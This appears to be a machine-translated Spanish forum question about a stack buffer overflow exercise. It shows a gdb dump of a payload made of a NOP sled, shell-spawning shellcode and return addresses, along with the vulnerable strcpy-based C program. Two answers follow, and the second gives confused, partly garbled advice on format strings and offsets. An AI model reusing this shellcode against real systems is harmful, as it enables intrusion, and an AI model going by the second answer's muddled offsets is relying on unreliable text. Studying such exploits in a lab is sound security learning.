Desbordamiento de búfer: error de segmentación en 0x90909090

0

¿por qué tengo un fallo de segmentación en un trineo NOP? ¿No se supone que debe deslizar las instrucciones hasta que llegue al código de shell?

0xbffff030: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff040: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff050: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff060: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff070: 0xc389c031  0x80cd17b0  0x6852d231  0x68732f6e
0xbffff080: 0x622f2f68  0x52e38969  0x8de18953  0x80cd0b42
0xbffff090: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0a0: 0x41414141  0x41414141
(gdb) 
0xbffff0a8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0b8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0c8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0d8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0e8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff0f8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff108: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff118: 0x41414141  0x41414141
(gdb) 
0xbffff120: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff130: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff140: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff150: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff160: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff170: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff180: 0xbffff050  0xbffff050  0xbffff050  0xbffff050
0xbffff190: 0xbffff050  0xbffff050

y aquí está el código: -

#include<stdio.h>

int main(int argc, char* argv[]){
    char buf[256];

    if(argc==1){
        printf("Usage: %s input\n",argv[0]);
        exit(0);
    }
    strcpy(buf,argv[1]);
    printf("%s",buf);
}

Mensaje de error

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()

alguna idea?

    
pregunta DullPoint 27.07.2018 - 08:10
fuente

2 respuestas

1

Necesitas pivotar la ejecución en tu nop sled. Generalmente se hace sobrescribiendo el EIP con la dirección de su carga útil en la pila o usando un gadget como jmp esp.

    
respondido por el wireghoul 27.07.2018 - 08:24
fuente
1

En este caso, debe usar el ataque de formato de cadena utilizando la secuencia% _% u, donde _ necesita ser reemplazado por el número de bytes que desea sobrescribir y% u le ayudará a sobrescribir la dirección después de esos bytes.

También podría usar un ataque de desbordamiento de búfer en el que podría pasar una cadena larga de longitud en este caso como: 256 + 8 + 4 = 268. (1 bytes extra para la instrucción, 0,5 bytes para llegar a la dirección) para sobrescribir la dirección donde se almacena buf. Por lo tanto, estos 12 bytes son importantes, ya que lo ayudan a alcanzar la dirección y omitir la instrucción.

    
respondido por el Harsh P Bajaj 16.10.2018 - 23:16
fuente

Lea otras preguntas en las etiquetas